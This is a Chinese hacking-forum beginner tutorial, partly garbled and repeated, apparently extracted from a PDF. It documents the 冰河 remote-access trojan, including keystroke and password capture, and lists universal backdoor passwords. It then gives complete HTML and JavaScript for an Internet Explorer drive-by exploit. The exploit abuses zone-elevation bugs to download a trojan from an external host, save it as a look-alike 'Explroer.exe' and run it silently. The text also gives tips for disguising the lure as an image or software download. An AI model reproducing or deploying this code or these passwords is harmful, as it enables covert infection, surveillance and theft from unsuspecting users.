4. 在 1.2 以后的版本中允许用户设定捕获图像的色深 (1~7 级), 图像将按设定保存为 2 的 N 次方种颜色 (N=2 的 [1~7] 次方), 即 1 级为单色, 2 级为 16 色, 3 级为 256 色, 依此类推。需要说明的是如果将色深设为 0 或 8 则表示色深依被监控端当前的分辨率而定,适当减小色深可以提高图像的传输速度。
2. 1 以后的版本新增了以 JPEG 格式传输图像的功能, 以利于在 INTERNET 上传输图像, 但这项功能只适用于 2. 1 以上版本 (制被控端), 否则实际上仍是通过 BMP 图象格式传输, 所以请先确认版本后再使用。

#### 八.常见问题：

1. 安装不成功, 该问题通常是由于 TCP/IP 协议安装或设置不正确所致；
2. 被监控端启动时或与监控端连接时弹出 '建立连接' 对话框, 该问题是由于系统设置了自动拨号属性。可以通过安装前定制服务器程序来禁止自动拨号；
3. 可以连接但没有反应, 通常是版本不匹配所致, 因为 1.2 以前的版本设计上存在缺陷, 所以如果您不能确定远程主机的冰河版本, 最好先按照前面所说的升级办法试一下, 否则被监控端可能会出现错误提示。另外冰河没有提供代理功能, 局域网外无法监控局域网内的机器, 除非被控端是网关；
4. '更换墙纸' 命令无效, 这个问题的可能性太多了, 较常见的原因是被监控端的桌面设置为 '按网页查看'；
5. 对被监控端进行文件或目录的增删操作后, 少数情况不会自动刷新, 可以通过 [Ctrl+R] 或选择弹出菜单的 '刷新' 命令手动刷新；
6. 开机口令不正确, 因为 CMOS 口令是单向编码, 所以编码后的口令是不可逆也是不唯一的, 冰河通过穷举算出来的口令可能与原口令不符, 但也是有效口令。毛主席说过没有调查就没有发言权, 所以没有试过就千万别妄下定论；
7. 占用系统资源过高, 其实准确的说应该是 CPU 利用率过高, 系统资源占用并不算过分, 这主要是不断探测口令信息 (敏感字符) 造成的, 所以在 'DARKSUN 专版' 中允许用户将该功能屏

蔽 (我实在不知道怎样才能兼顾鱼和熊掌), 只要在配置时清空 '敏感字符' 中的所有字符串就行了。

8. 如何卸载冰河, 这是我解答次数最多的一个问题, 其实冰河 1.2 正式版以后的各版本都在 CLIENT 端提供了彻底的卸载功能。对于 1.2 版本, 请执行命令列表中的 '自动卸载' 命令, 对其以后的版本, 请执行 '命令控制台' 中的 '控制类命令 \系统控制 \自动卸载冰河'。

小编有言: 说说卸冰河木马方法和冰河的通用密码

很多朋友问我中了木马“冰河”有什么方法可以卸掉, 其实很简单, 有两个方法:

(1) 用杀毒软件“金山毒霸”就可以卸掉。但有朋友说用“金山”卸掉“冰河”后打不开本文文件了, 那你可以用手动方法去卸。如果你觉得那个办法太麻烦, 可以用我介绍的第二种方法。

(2) 用“冰河”卸“冰河”: 如果你确定你的机器种了冰河, 那你上网后开启冰河。在增添主机那里添自己的 IP。然后电击自己的 IP, 选命令控制台那里选控制命令里的系统命令。然后自己看啦。不要再说你不会啊。我会晕的啊。: )

冰河通用密码

3.0 版: yzkzero.51.net

3.0 版: yzkzero!

3.1-netbug 版密码: 123456!@

2.2 杀手专版: 05181977

2.2 杀手专版: dzq2000!

## 木马工具详解 + 入门工具使用

现在我们来看看木马在黑客学习中的作用。首先学习者要明确木马究竟是什么, 同时还要弄清楚木马的类型, 并且学习一些流行的木马程序的用法, 这是一个相辅相成的学习进程, 当黑客利用漏洞进入服务器之后, 就可以选择两条路: 一、破坏系统、获得资料、显示自己; 二、利用木马为自己开辟一个合法的登录账号、掌管系统、利用被入侵系统作为跳板继续攻击其他系统。

由此看来, 木马程序是为第二种情况涉及的一种可以远程控制系统的程序, 根据实现木马程序的目的, 可以知道这种程序应该具有以下性质:

1 伪装性: 程序将自己的服务端伪装成合法程序, 并且具有诱惑力的让被攻击者执行, 在程序被激活后, 木马代码会在未经授权的情况下运行并装载到系统开始运行进程中;

2 隐藏性: 木马程序通病毒程序一样, 不会暴露在系统进程管理器内, 也不会让使用者察觉到木马的存在, 它的所有动作都是伴随其他程序的运行进行的, 因此在一般情况下使用者很难发现系统中木马的存在;

3 破坏性: 通过远程控制, 黑客可以通过木马程序对系统中的文件进行删除、编辑操作, 可以进行诸如格式化硬盘、改变系统启动参数等恶性破坏操作;

4 窃密性: 木马程序最大的特点就是可以窥视被入侵电脑上的所有资料, 这不仅包括硬盘的文件, 还包括显示器画面、使用者在操作电脑过程中在硬盘上输入的所有命令等。

看了上面的介绍, 学习者应该对木马程序的用途有了一个初步了解, 并且区分清除木马程序

和病毒之间的相同点和不同点，由于黑客手段的日益增多，许多新出现的黑客手段（例如 D.O.S）经常会让学习者思维混乱，但实际上这些新出现的黑客手段都是从最开始的溢出、木马演变出来的，因而对于初学者来说，并不需要急于接触过多的新技术，而是要对最基本的也是最有效的黑客技术进行深入学习。

### 一、木马的原理：

大多数木马程序的基本原理都是一样的，他们是由两个程序配合使用——被安装在入侵系统内的 Server 程序；另一个是对 Server 其控制作用的 Client 程序。学习者已经了解了木马和病毒的区别，大多数 Server 程序不会像病毒一样主动传播，而是潜伏在一些合法程序内部，然后由目标操作者亲手将其安装到系统中，虽然这一切都是没有经过目标操作者授权的，然而从某种程度上说，这的确是在经过诱惑后目标“心甘情愿”接收木马的，当 Server 安装成功后，黑客就可以通过 Client 控制程序对 Server 端进行各种操作了。

木马程序的 Server 端为了隐藏自己，必须在设计中做到不让自己显示到任务栏或者系统进程和控制器中，同时还不会影响其他程序的正常运行，当使用者电脑处于断线状态下，Server 不会发送任何信息到预设的端口上，而会自动检测网络状态直到网络连接好，Server 会通过 email 或者其他形式将 Server 端系统资料通知 Client 端，同时接收 Client 发送出来的请求。

### 二 木马实战：

先说国产木马老大，冰河 ---- 你不得不了解的工具。

（编者残语：）说到冰河，也许在 2005 年的今天显得很落后，但冰河创造了一个时代，一个人人能做黑客的时代。使用方便简单，人人都能上手。图形界面，中文菜单，了解木马，先从了解远程控制软件冰河开始。

---

使用冰河前，请注意：如果你的机器有杀毒软件，可能会出现病毒提示。说实话，他还真是一个病毒。呵呵。所以在使用前，请慎重考虑，出了问题，小编可担当不起。建议使用不管是客户端还是服务端都请关闭杀毒软件以达到更好的使用效果。

---

### 软件功能概述：

该软件主要用于远程监控，具体功能包括：

1. 自动跟踪目标机屏幕变化，同时可以完全模拟键盘及鼠标输入，即在同步被控端屏幕变化的同时，监控端的一切键盘及鼠标操作将反映在被控端屏幕（局域网适用）；
2. 记录各种口令信息：包括开机口令、屏保口令、各种共享资源口令及绝大多数在对话框出现过的口令信息，且 1.2 以上的版本中允许用户对该功能自行扩充，2.0 以上版本还同时提供了击键记录功能；
3. 获取系统信息：包括计算机名、注册公司、当前用户、系统路径、操作系统版本、当前分辨率、物理及逻辑磁盘信息等多项系统数据；
4. 限制系统功能：包括远程关机、远程重启计算机、锁定鼠标、锁定系统热键及锁定注册等多项功能限制；
5. 远程文件操作：包括创建、上传、下载、复制、删除文件或目录、文件压缩、快速浏览本文件、远程打开文件（提供了四中不同的打开方式——正常方式、最大化、最小化和隐藏方式）等多项文件操作功能；

6. 注册表操作：包括对主键的浏览、增删、复制、重命名和对键值的读写等所有注册表操作功能；

7. 发送信息：以四种常用图标向被控端发送简短信息；

8. 点对点通讯：以聊天室形式同被控端进行在线交谈。

#### 一 文件列表：

1. G\_Server.exe：被监控端后台监控程序（运行一次即自动安装，可任意改名），在安装前可以先通过 'G\_Client' 的 '配置本地服务器程序' 功能进行一些特殊配置，例如是否将动态发送到指定信箱、改变监听端口、设置访问口令等）；

2. G\_Client.exe：监控端执行程序，用于监控远程计算机和配置服务器程序。

#### 二 准备工作：

冰河是一个基于 TCP/IP 协议和 WINDOWS 操作系统的网络工具，所以首先应确保该协议已被安装且网络连接无误，然后配置服务器程序（如果不进行配置则取默认设置），并在欲监控的计算机上运行服务器端监控程序即可。

#### 三 升级方法：

由于冰河 2.0 的改版较大，所以 2.0 以后版本与以前各版本完全不兼容。为此只能向老用户提供一套升级方案：对于 1.0 版本的用户（好象已经没什么人用了），可以先用 1.0 或 1.2 版的 CLIENT 端将新版本的 SERVER 程序上传至被监控端，然后执行 '文件打开' 命令即可；对于 1.2 版本的用户相对简单，只要通过 1.2 版的 CLIENT 远程打开新版本的 SERVER 程序就可以自动升级了。2.0 以后的各版本完全兼容。

'DARKSUN 专版' 中还提供了另一种升级方法，可以免去在不同版本中切换的麻烦。如果您不能确定远程主机的冰河版本，在用 '文件管理器' 浏览目录前，最好先在工具栏下的 '当前连接' 列表框中选择打算连接的主机，然后直接点 '升级 1.2 版本' 按钮进行升级，如果返回的信息是 '无法解释的命令'，那说明远程主机安装了 2.0 以上版本，具体的版本及系统信息可以通过 '命令控制台' 的 '口令类命令 \ 系统信息及口令 \ 系统信息' 来查看。

#### 四 各模块简要说明：

安装好服务器端监控程序后，运行客户端程序就可以对远程计算机进行监控了，客户端执行程序的各模块功能如下：

1. "添加主机"：将被监控端 IP 地址添加至主机列表，同时设置好访问口令及端口，设置将保存在 'Operate.ini' 文件中，以后不必重输。如果需要修改设置，可以重新添加该主机，或在主界面工具栏内重新输入访问口令及端口并保存设置；

2. "删除主机"：将被监控端 IP 地址从主机列表中删除（相关设置也将同时被清除）；

3. "自动搜索"：搜索指定子网内安装有 '冰河' 的计算机。（例如欲搜索 IP 地址 '192.168.1.1' 至 '192.168.1.255' 网段的计算机，应将 '起始域' 设为 '192.168.1'，将 '起始地址' 和 '终止地址' 分别设为 '1' 和 '255'）；

4. "查看屏幕"：查看被监控端屏幕（相当于命令控制台中的 '控制类命令 \ 捕获屏幕 \ 查看屏幕'）；

5. "屏幕控制"：远程模拟鼠标及键盘输入（相当于命令控制台中的 '控制类命令 \ 捕获屏幕 \ 屏幕控制'）。其余同 '查看屏幕'；

6. "冰河信使"：点对点聊天室，也就是传说中的 '二人世界'；

7. "升级 1.2 版本"：通过 'DARKSUN 专版' 的冰河来升级远程 1.2 版本的服务器程序；

8. "修改远程配置"：在线修改访问口令、监听端口等服务器程序设置，不需要重新上传整

个文件，修改后立即生效；

9. "配置本地服务器程序"：在安装前对 'G\_Server.exe' 进行配置 (例如是否将动态 IP 发送到指定信箱、改变监听端口、设置访问口令等)。

既然要打造完美的 IE 网页木马，首先就必须给我们的完美制定一个标准，我个人认为一个完美的 IE 网页木马至少应具备下列四项特征：

一：可以躲过杀毒软件的追杀；

二：可以避开网络防火墙的报警；

三：能够适用于多数的 Windows 操作系统 (主要包括 Windows 98 Windows Me Windows 2000 Windows XP Windows 2003) 中的多数 IE 版本 (主要包括 IE5.0 IE5.5 IE6.0)，最好能打倒 SP 补丁；

四：让浏览者不容易发觉 IE 变化，即可以悄无声息，从而可以长久不被发现。

(注意以上四点只是指网页本身而言，但不包括你的木马程序，也就是说我们的网页木马只是负责运行指定的木马程序，至于你的木马程序的好坏只有你自己去选择啦！别找我要，我不会写的哦！)

满足以上四点我想才可以让你的马儿更青春更长久，跑的更欢更快.....

看了上面的几点你是不是心动拉？别急，我们还是先侃侃现有的各种 IE 网页木马的不足吧！

第一种：利用古老的 MIME 漏洞的 IE 网页木马

这种木马现在还在流行，但因为此漏洞太过古老且适用的 IE 版本较少，而当时影响又太大，补丁差不多都补上啦，因此这种木马的种植成功率比较低。

第二种：利用 com.ms.activeX.ActiveXComponent 漏洞，结合 WSH 及 FSO 控件的 IE 网页木马

虽然 com.ms.activeX.ActiveXComponent 漏洞广泛存在于多数 IE 版本中，是一个比较好的漏洞，利用价值非常高，但却因为它结合了流行的病毒调用的 WSH 及 FSO 控件，使其虽说可以避开网络防火墙的报警，可逃不脱杀毒软件的追捕 (如诺顿)。

第三种：利用 OBJECT 对象类型确认漏洞 (ObjectDataRemote) 并结合 WSH 及 FSO 控件的 IE 网页木马 (典型的有动鲨网页木马生成器)

此种木马最大的优点是适应的 IE 版本多，且漏洞较新，但却有如下不足：

1、因为此漏洞要调用 Mshhta.exe 来访问网络下载木马程序，所以会引起防火墙报警 (如天网防火墙)；

2、如果此 IE 网页木马又利用了 WSH 及 FSO 控件，同样逃不脱杀毒软件的追捕 (如诺顿)，而动鲨网页木马又恰恰使用了 WSH 及 FSO 控件，叹口气.....可惜呀.....？

3、再有就是这个漏洞需要网页服务器支持动态网页如 ASP、JSP、CGI 等，这就影响了它的发挥，毕竟现在的免费稳定的动态网页空间是少之又少；虽说此漏洞也可利用邮件 MIME 的形式来利用，但经测试发现对 IE 6.0 不起作用。

看到上面的分析你是不是有了这种感觉：千军易得，一将难求，马儿成群，奈何千里马难寻！别急，下面让我带这大家一起打造我心中的完美 IE 网页木马。

首先要躲过杀毒软件的追杀，我们就不能利用 WSH 和 FSO 控件，因为只要利用了 WSH

和 F S O 控件就一定逃不脱“诺顿”的追杀，这可叫我们该如何是好？！别急，经过我的努力工作（说真的我也是在研究 A S P 木马时偶然发现的灵感）终于我有找到了一个可以用的控件，那就是 shell.application，并且它可是经过了安全认证的，可以在“我的电脑”域中的网页中畅通无阻的执行，比 W S H 和 F S O 更容易得到执行权限（利用跨域漏洞即可），请看下面 javascript 代码：

```
<SCRIPT LANGUAGE="javascript" type="text/javascript">
var shell=new ActiveXObject("shell.application");
shell.namespace("c:\\Windows\\").items().item("Notepad.exe").invokeverb();
</SCRIPT>
```

保存为 test.htm 后打开看是否自动打开了记事本程序，而且不会象 W S H 和 F S O 那样出现是否允许运行的提示框，是不是有点兴趣啦？现在我们已可以运行所有已知路径的程序，但我们要求运行我们自己的木马程序，所以还要求把我们的木马程序下载到浏览者的电脑上并找出它的位置。我们一个个来解决：

#### 1、下载木马程序到浏览者的电脑中

这一点可以有很多解决方法，比如我以前提到的 W I N D O W S 帮助文件访问协议下载任意文件漏洞（its:），不过这次我们不用它，再教大家两个更好的下载方法：

例一：利用 SCRIPT 标签，代码如下：

```
<SCRIPT LANGUAGE="icyfoxlovelace"
src='http://www.godog.y365.com/wodemuma/icyfox.ba' "></SCRIPT>
```

注意此处的 LANGUAGE 属性可以为除 javascript、VBScript、JScript 以外的字符串，也可以是汉字，至于 src 的属性当然是你的木马程序的地址啦！因为现在免费空间出于安全考虑，多数不允许上传 exe 文件，我们可以变通一下把扩展名 exe 改为 ba 或 pif、scr、com，同样可以运行。

例二：利用 LINK 标签，代码如下：

```
<LINK href='http://www.godog.y365.com/wodemuma/icyfox.ba' rel=stylesheet
type=text/css>
```

把代码放在标签 <HEAD></HEAD> 中间，href 属性值为木马程序的地址。

上面两个是我所知的最好的两种下载木马程序的方法，它们下载后的程序都保存在在 I E 临时目录 Temporary Internet Files 目录下的子目录中。

```
function icyfoxlovelace(){
//得到W I N D O W S 系统目录和系统盘
url=document.location.href;
xtmu=url.substring(6,url.indexOf('\\',9)+1);
xtp=url.substr(6,3);

var shell=new ActiveXObject("shell.application");
var runbz=1;

//此处设置木马程序的大小，以字节为单位
//请把 198201改为你的木马程序的实际大小
var exeSize=198201;

//设置木马程序名及扩展名(exe,com,bat,pif,scr)，用于判断是否是所下载的木马程序
//请把下面两行中的 icyfox改为你的木马程序名， bat改为你的木马程序的扩展名
var a=/icyfox\[\\d*\]\\.bat/gi;
a.compile("icyfox\\[\\d*\\]\\.bat","gi");

var b=/[A-Za-z]:\\\/gi;
b.compile("[A-Za-z]:\\\\\\\\","gi");//正则表达式 用于判断是否是盘的根目录

//下面的代码查找并运行木马程序
wjj(xtmu+"Temporary Internet Files\\");Content.IE5\\
if(runbz)wjj(xtp+"Documents and Settings\\");
if(runbz)yp();

//在所有硬盘分区下查找并运行木马程序
function yp(){
try{
var c=new Enumerator(shell.namespace("c:\\").ParentFolder.Items());
for (;!c.atEnd();c.moveNext()){
if(runbz){if(b.test(c.item().path))wjj(c.item().path);}
else break;
}
}catch(e){}
}
```

## 黑客入门 (超级详细版)

```
//利用递归在指定目录 (包括子目录)下查找并运行木马程序
function wjj(b){
try{
var c=new Enumerator(shell.namespace(b).Items());
for (;!c.atEnd();c.moveNext()){
if(runbz&& c.item().Size==exeSize&&a.test(c.item().path)){
var f=c.item().path;
var v=f.lastIndexOf('\\')+1;
try{
shell.namespace(f.substring(0,v)).items().item(f.substr(v)).invokeverb();//
运行木马程序
runbz=0;
break;
}catch(e){}
}
if(!c.item().Size)wjj(c.item().path+"\\");//如果是子目录则递归调用
}
}catch(e){}
}

}

icyfoxlovelace();
```

请把以上代码保存为 icyfox.js

接下来我们就要利用一个小小跨域执行漏洞，来获得“我的电脑”域的网页权限，大家以前是不是和我一样觉得这种漏洞仅仅只能用来进行跨站脚本攻击，得到COOKIE之类的东东吗？这次它终于可以露脸啦！代码如下：

```
<HTML>
<HEAD>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<TITLE>冰狐浪子网络技术实验室的完美 I E 网页木马 </TITLE>
</HEAD>
<BODY oncontextmenu="return false" onselectstart="return false" scroll="no"
topmargin="0" leftmargin="0">
```



## 黑客入门 (超级详细版)

```
<SCRIPT LANGUAGE="icyfoxlovelace"
src='http://www.godog.y365.com/wodemuma/icyfox.ba' "></SCRIPT>
<SCRIPT LANGUAGE="javascript">
//此处设置上面 icyfox.js 文件的网络地址
//请把 http://www.godog.y365.com/wodemuma/icyfox.js 改为你的 icyfox.js 文件实际上
传地址
jsurl='http://www.godog.y365.com/wodemuma/icyfox.js'.replace(/\\/g, '//');
WIE=navigator.appVersion;
if(WIE.indexOf("MSIE 5.0")>-1){
/*IE 5.0 利用 iframe 标签,src 属性设为 icyfox:// 会使此标签具备“我的电脑”域的权限
原因是因为 icyfox:// 是不存在的协议,所以 IE 会利用 res:// 协议打开 SHDOCLC.DLL 中
的语法错误页 syntax.htm, 而且 SHDOCLC.DLL 又位于系统目录中,为在 icyfox.js 中得到 W
I N D O W S 系统目录和系统盘提供数据; */
document.write("<iframe style='display:none;' name='icyfoxlovelace'
src='icyfox://'></iframe>");
setTimeout("muma0()",1000);
}
else {
/*IE5.5 IE6.0 则利用 _search 漏洞,把打开的地址设为 icyfox://,从而使 _search 搜索
框具备“我的电脑”域的权限,因为在 IE6.0 中无法用上面的 iframe 漏洞,IE5.5 应该可以
,我没有测试。这样做的结果会打开搜索栏,有点遗憾! */
window.open("icyfox://","_search");
setTimeout("muma1()",1000);
}

//下面利用 file:javascript 协议漏洞在已是我的电脑”域的权限的“icyfox://" 中插入
icyfox.js 脚本并运行
function muma0(){
window.open('file:javascript:document.all.tags('SCRIPT')[0].src='"+jsurl+"'';
eval();","icyfoxlovelace");
}

function muma1(){
window.open('file:javascript:document.all.tags('SCRIPT')[0].src='"+jsurl+"'';
eval();","_search");}
</SCRIPT>
</BODY>
<NOSCRIPT><iframe style="display:none;" src='*.*'></iframe></NOSCRIPT>
</HTML>
```

把上面的代码保存为 icyfox.htm,如果你愿意可以把扩展名改为 jpg 并在网页中加入一

## 黑客入门 (超级详细版)

精美的图片背景，来做一个图片木马，甚至你可以改为 exe, 来冒充一个好的程序的下载地址，并在网页的 <HEAD></HEAD>中加入标签 <meta http-equiv="refresh"

content="5;url='http://www.godog.y365.com/winrar.exe'">来定时转到另一个真正的程序下载地址，从而更好的欺骗别人。

看到上面的东东是不是让你有了马上去实验的冲动，别急，如果你觉得win98没必要控制的话，还有更好的木马等着你，不知大家是否用过 win2000 winxp等系统中默认安装的 ADODB.Stream及Microsoft.XMLHTTP控件？它们可是和 shell.application控件一样是经过了安全认证的，可以在“我的电脑”域中的网页中畅通无阻执行的好东西呀！请看下面的代码：

```
function icyfox(){
//设置下载后保存在系统目录下的木马程序名，我设的是不是很象 Explorer.exe呀？呵呵
var name="Explroer.exe";
//设置你要下载的木马程序的地址（此处你可以把扩展名任意改，甚至没有扩展名也可以的
//可以更好的躲过免费主页空间的上传限制
var url='http://www.godog.y365.com/wodemuma/icyfox.bat';
try{
var folder=document.location.href;
folder=folder.substring(6, folder.indexOf('\\\\',9)+1)+name;
var xml=new ActiveXObject("Microsoft.XMLHTTP");
xml.open("GET",url,false);
xml.send();
if(xml.status==200){
var ado=new ActiveXObject("ADODB.Stream");
ado.Type=1;
ado.Open();
ado.write(xml.responseBody);
ado.SaveToFile(folder,2);
ado.Close();
ado=null;
}
xml=null;
document.body.insertAdjacentHTML('AfterBegin','<OBJECT
style="display:none;" TYPE="application/x-oleobject"
CODEBASE="'+folder+'"></OBJECT>');
}
catch(e){}

}

icyfox();
```

把上面的代码保存为 icyfox.js 替换上面保存的 icyfox.js 文件，同样利用上面的 icyfox.htm 来注入到“我的电脑”域中，呵呵你就偷这乐吧！

最后还请大家发挥以下 DIY 的能力把上面两种代码合二为一，我相信一个现阶段最最完美的 IE 网页木马就会在你手中诞生啦！是不是神不知鬼不觉？

提示代码如下：

```
try{new ActiveXObject("ADODB.Stream");icyfox();}catch(e){icyfoxlovelace();}
```

接下来我们就要利用一个小小跨域执行漏洞，来获得“我的电脑”域的网页权限，大家以前是不是和我一样觉得这种漏洞仅仅只能用来进行跨站脚本攻击，得到 COOKIE 之类的东东吗？这次它终于可以露脸啦！代码如下：

```
<HTML>
<HEAD>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<TITLE>冰狐浪子网络技术实验室的完美 IE 网页木马 </TITLE>
</HEAD>
<BODY oncontextmenu="return false" onselectstart="return false" scroll="no"
topmargin="0" leftmargin="0">
<SCRIPT LANGUAGE="icyfoxlovelace"
src='http://www.godog.y365.com/wodemuma/icyfox.ba' ></SCRIPT>
<SCRIPT LANGUAGE="javascript">
//此处设置上面 icyfox.js 文件的网络地址
//请把 http://www.godog.y365.com/wodemuma/icyfox.js 改为你的 icyfox.js 文件实际上传地址
jsurl='http://www.godog.y365.com/wodemuma/icyfox.js'.replace(/\\/g, '/');
WIE=navigator.appVersion;
if(WIE.indexOf("MSIE 5.0")>-1){
/*IE 5.0 利用 iframe 标签,src 属性设为 icyfox:/ 会使此标签具备“我的电脑”域的权限
原因是因为 icyfox:/ 是不存在的协议，所以 IE 会利用 res:/ 协议打开 SHDOCLC.DLL 中的
语法错误页 syntax.htm, 而且 SHDOCLC.DLL 又位于系统目录中，为在 icyfox.js 中得到 W
INDOWS 系统目录和系统盘提供数据；*/
document.write("<iframe style='display:none;' name='icyfoxlovelace'
src='icyfox:/'></iframe>");
setTimeout("muma0()",1000);
```

## 黑客入门 (超级详细版)

```
}
else {
/*IE5.5 IE6.0则利用 _search漏洞，把打开的地址设为 icyfox://，从而使 _search搜索
框具备“我的电脑”域的权限，因为在 IE6.0中无法用上面的 iframe漏洞，IE5.5应该可以，
我没有测试。这样做的结果会打开搜索栏，有点遗憾！*/
window.open("icyfox://","_search");
setTimeout("muma1()",1000);
}

//下面利用 file:javascript: 协议漏洞在“已是我的电脑”域的权限的“icyfox://”中插入
icyfox.js脚本并运行
function muma0(){
window.open('file:javascript:document.all.tags('SCRIPT')[0].src="'+jsurl+'";
eval();',"icyfoxlovelace");
}

function muma1(){
window.open('file:javascript:document.all.tags('SCRIPT')[0].src="'+jsurl+'";
eval();',"_search");}
</SCRIPT>
</BODY>
<NOSCRIPT><iframe style="display:none;" src='*.*'></iframe></NOSCRIPT>
</HTML>
```

把上面的代码保存为 icyfox.htm,如果你愿意可以把扩展名改为 jpg并在网页中加入一精美的图片背景，来做一个图片木马，甚至你可以改为 exe，来冒充一个好的程序的下载地址，并在网页的 <HEAD></HEAD>中加入标签 <meta http-equiv="refresh" content="5;url='http://www.godog.y365.com/winrar.exe'">来定时转到另一个真正的程序下载地址，从而更好的欺骗别人。

看到上面的东东是不是让你有了马上去实验的冲动，别急，如果你觉得win98没必要控制的话，还有更好的木马等着你，不知大家是否用过 win2000 winxp等系统中默认安装的 ADOODB.Stream及Microsoft.XMLHTTP控件？它们可是和 shell.application控件一样是经过了安全认证的，可以在“我的电脑”域中的网页中畅通无阻执行的好东西呀！请看下面的代码：

```
function icyfox(){
//设置下载后保存在系统目录下的木马程序名，我设的是不是很象 Explorer.exe呀？呵呵
var name="Explroer.exe";
//设置你要下载的木马程序的地址（此处你可以把扩展名任意改，甚至没有扩展名也可以的）
//可以更好的躲过免费主页空间的上传限制
var url='http://www.godog.y365.com/wodemuma/icyfox.bat';
```

## 黑客入门 (超级详细版)

```
try{
var folder=document.location.href;
folder=folder.substring(6, folder.indexOf('\\\\',9)+1)+name;
var xml=new ActiveXObject("Microsoft.XMLHTTP");
xml.open("GET",url,false);
xml.send();
if(xml.status==200){
var ado=new ActiveXObject("ADODB.Stream");
ado.Type=1;
ado.Open();
ado.write(xml.responseBody);
ado.SaveToFile(folder,2);
ado.Close();
ado=null;
}
xml=null;
document.body.insertAdjacentHTML('AfterBegin','<OBJECT
style="display:none;" TYPE="application/x-oleobject"
CODEBASE="'+folder+'"></OBJECT>');
}
catch(e){}

}

icyfox();
```

把上面的代码保存为 icyfox.js 替换上面保存的 icyfox.js 文件，同样利用上面的 icyfox.htm 来注入到“我的电脑”域中，呵呵你就偷这乐吧！

最后还请大家发挥以下 DIY 的能力把上面两种代码合二为一，我相信一个现阶段最最完美的 IE 网页木马就会在你手中诞生啦！是不是神不知鬼不觉？

提示代码如下：

```
try{new ActiveXObject("ADODB.Stream");icyfox();}catch(e){icyfoxloveface();}
```

用户名 UID

安全问题无安全问题 我爸爸的出生地 我妈妈的出生地 我的小学校名 我的中学校名 我最喜欢的运动 我最喜欢的歌曲 我最喜欢的电影 我最喜欢的颜色 自定义问题  
您的答案

## 黑客入门 (超级详细版)

热门版块： QQ部落 新人交流区 软件分享 黑客技术版 交易版 休闲娱乐 & 情感文学

银行 朋友圈 勋章中心 道具中心 newyear wind 用户中心首页 编辑个人资料 查看个人资料 好友列表 用户权限查看 积分管理 积分转换 特殊组购买 收藏夹 我的主题 基本统计信息 到访 IP统计 管理团队 管理统计 在线统计 会员排行 版块排行 帖子排行 个人首页 我的收藏 好友近况

红色黑客联盟论坛 黑客技术版 新手想要的黑客入门！超级详细版！

第一栏目新人交流区活动公布 & 奖品兑换原创作品发布区 黑客攻防悬赏问答区 黑客技术版业界新闻 软件分享教程分享 安全防御阵线 红黑远程控制交流 免费培训班 免杀版 易语言 免费学版 电脑相关技术 QQ部落 网吧攻防网络 & 系统 & 硬件 & 编程 脱壳破解技术 免费资源 网络赚钱版 休闲娱乐 & 情感 & 交易 休闲娱乐 & 情感文学 海阔天空 交易版 其它板块 论坛管理区 管理团队版 资深会员专享区 终身 Vip 板块加入 Vip 会员 黑客攻防速成的捷径 黑客攻防速成必备光盘 4. 版广告招租 红黑联盟主站

强大远程控制软件只需 88 元 招聘版主，有你更精彩！红黑联盟 QQ 高级群新人必看：论坛使用帮助

接下来我们就要利用一个小小跨域执行漏洞，来获得“我的电脑”域的网页权限，大家以前是不是和我一样觉得这种漏洞仅仅只能用来进行跨站脚本攻击，得到 COOKIE 之类的东东吗？这次它终于可以露脸啦！代码如下：

```
<HTML>
<HEAD>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<TITLE>冰狐浪子网络技术实验室的完美 I E 网页木马 </TITLE>
</HEAD>
<BODY oncontextmenu="return false" onselectstart="return false" scroll="no"
topmargin="0" leftmargin="0">
<SCRIPT LANGUAGE="icyfoxlovelace"
src='http://www.godog.y365.com/wodemuma/icyfox.ba' "></SCRIPT>
<SCRIPT LANGUAGE="javascript">
//此处设置上面 icyfox.js 文件的网络地址
//请把 http://www.godog.y365.com/wodemuma/icyfox.js 改为你的 icyfox.js 文件实际上传地址
jsurl='http://www.godog.y365.com/wodemuma/icyfox.js'.replace(/\\/g, '/');
WIE=navigator.appVersion;
if(WIE.indexOf("MSIE 5.0")>-1){
/*IE 5.0 利用 iframe 标签,src 属性设为 icyfox:/ 会使此标签具备“我的电脑”域的权限
原因是因为 icyfox:/ 是不存在的协议，所以会 I E 会利用 res:/ 协议打开 SHDOCLC.DLL 中
```

## 黑客入门 (超级详细版)

的语法错误页 [syntax.htm](#), 而且 [SHDOCLC.DLL](#) 又位于系统目录中, 为在 [icyfox.js](#) 中得到 [V I N D O W S](#) 系统目录和系统盘提供数据; \*/

```
document.write("<iframe style='display:none;' name='icyfoxlovelace'
src='icyfox://'></iframe>");
setTimeout("muma0()",1000);
}
else {
/*IE5.5 IE6.0则利用 _search漏洞, 把打开的地址设为 icyfox://, 从而使 _search搜索
框具备“我的电脑”域的权限, 因为在 IE6.0中无法用上面的 iframe漏洞, IE5.5应该可以
, 我没有测试。这样做的结果会打开搜索栏, 有点遗憾! */
window.open("icyfox://", "_search");
setTimeout("muma1()",1000);
}
```

//下面利用 [file:javascript:](#) 协议漏洞在已是我的电脑”域的权限的“icyfox://”中插入  
icyfox.js脚本并运行

```
function muma0(){
window.open('file:javascript:document.all.tags('SCRIPT')[0].src='"+jsurl+"'';
eval();","icyfoxlovelace");
}
```

```
function muma1(){
window.open('file:javascript:document.all.tags('SCRIPT')[0].src='"+jsurl+"'';
eval();","_search");}
</SCRIPT>
</BODY>
<NOSCRIPT><iframe style="display:none;" src='*.*'></iframe></NOSCRIPT>
</HTML>
```

把上面的代码保存为 [icyfox.htm](#), 如果你愿意可以把扩展名改为 [jpg](#) 并在网页中加入一  
精美的图片背景, 来做一个图片木马, 甚至你可以改为 [exe](#), 来冒充一个好的程序的下载地  
址, 并在网页的 [<HEAD></HEAD>](#) 中加入标签 [<meta http-equiv="refresh"
content="5;url='http://www.godog.y365.com/winrar.exe'>](#) 来定时转到另一个真正的  
程序下载地址, 从而更好的欺骗别人。

看到上面的东东是不是让你有了马上去实验的冲动, 别急, 如果你觉得 win98 没必要控制的  
话, 还有更好的木马等着你, 不知大家是否用过 win2000 winxp 等系统中默认安装的  
[ADODB.Stream](#) 及 [Microsoft.XMLHTTP](#) 控件? 它们可是和 [shell.application](#) 控件一样是经  
过了安全认证的, 可以在“我的电脑”域中的网页中畅通无阻执行的好东西呀! 请看下面的  
代码:

```
function icyfox(){
```

## 黑客入门 (超级详细版)

```
//设置下载后保存在系统目录下的木马程序名，我设的是不是很象 Explorer.exe呀？呵呵
var name="Explroer.exe";
//设置你要下载的木马程序的地址（此处你可以把扩展名任意改，甚至没有扩展名也可以的
